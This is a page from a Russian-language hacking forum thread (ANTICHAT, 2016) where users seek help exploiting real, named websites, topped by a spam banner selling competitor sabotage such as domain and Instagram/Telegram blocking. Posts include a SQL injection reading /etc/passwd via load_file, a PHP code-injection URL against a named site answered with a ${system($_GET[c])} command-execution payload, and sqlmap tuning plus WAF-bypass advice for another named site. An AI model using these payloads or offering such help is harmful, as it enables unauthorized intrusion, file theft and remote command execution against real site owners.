УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

		Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Ваши вопросы по уязвимостям.

Страница 132 из 296

132

Опции темы

Поиск в этой теме

Опции просмотра

#1311

01.09.2016, 08:42

Sensoft

Guest

Сообщений: n/a

Провел на форуме:
104689

Репутация: 1

Цитата:

Сообщение от kacergei

kacergei said:
↑
Имеется sql-inj через нее можно смотреть файлы
....mid((cast(concat(load_file(/etc/passwd),.....
Возможно ли вывод load_file сделать в base64?

Эм sql на файлы ?! Это как, не я не чего против не имею может просто не знал, если кто прошаренный киньте ссылку на подробное описани

#1312

01.09.2016, 09:21

kacergei

Новичок

Регистрация: 26.05.2007

Сообщений: 8

Провел на форуме:
23906

Репутация: -5

Цитата:

Сообщение от Sensoft

Sensoft said:
↑
Эм sql на файлы ?! Это как, не я не чего против не имею может просто не знал, если кто прошаренный киньте ссылку на подробное описани

Я наверно немножко неправильно выразился: "Load File: Читает содержимое файла и возвращает его в виде строки."

Если у пользователя достаточно прав

Но вопрос остается открытым

#1313

01.09.2016, 12:23

~~faza02~~

Banned

Регистрация: 21.11.2007

Сообщений: 181

Провел на форуме:
1066435

Репутация: 1013

Цитата:

Сообщение от kacergei

можно, а толку, все равно по одному символу выводить

#1314

01.09.2016, 13:38

kacergei

Новичок

Регистрация: 26.05.2007

Сообщений: 8

Провел на форуме:
23906

Репутация: -5

Цитата:

Сообщение от yarbabin

yarbabin said:
↑
можно, а толку, все равно по одному символу выводить

Не подскажешь как именно? на будущее

#1315

01.09.2016, 15:32

~~faza02~~

Banned

Регистрация: 21.11.2007

Сообщений: 181

Провел на форуме:
1066435

Репутация: 1013

http://dev.mysql.com/doc/refman/5.7/...tion_to-base64

#1316

02.09.2016, 02:34

Sensoft

Guest

Сообщений: n/a

Провел на форуме:
104689

Репутация: 1

Как эту php injection раскрутить ?

http://rimo.su/poisk-po-katalogu/?search=${@print(dump.sql)}

#1317

02.09.2016, 02:44

crlf

Guest

Сообщений: n/a

Провел на форуме:
169212

Репутация: 441

?search=${system($_GET[c])}&c=ls -la

#1318

02.09.2016, 03:11

Sensoft

Guest

Сообщений: n/a

Провел на форуме:
104689

Репутация: 1

Вопрос кто сделал что теперь когда переходишь по ссылки там написано "страдать ****" на английском

#1319

02.09.2016, 14:55

r1l

Guest

Сообщений: n/a

Провел на форуме:
4609

Репутация: 0

Ребят помогите раскрутить

Код:

Code:
http://trafficswirl.com/teamsplash.php?tid=1%27

Ни как мне эта скуля не дается((

с --technique=EU не крутит, --level=5 --risk=3 тоже не крутит, ХАВИДЖИ раскручивает эту уязвимость, sqlmap не может(

либо я дурак либо лыжи правда не едут....

уязвимость раскручивается точно знаю, только как?(

#1320

02.09.2016, 15:18

pw0ned

Guest

Сообщений: n/a

Провел на форуме:
33728

Репутация: 14

Цитата:

Сообщение от r1l

r1l said:
↑
Ребят помогите раскрутить

Код:

Code:
http://trafficswirl.com/teamsplash.php?tid=1%27

Ни как мне эта скуля не дается((
с --technique=EU не крутит, --level=5 --risk=3 тоже не крутит, ХАВИДЖИ раскручивает эту уязвимость, sqlmap не может(
либо я дурак либо лыжи правда не едут....
уязвимость раскручивается точно знаю, только как?(

WAF блочит если я не ошибаюсь. Крути руками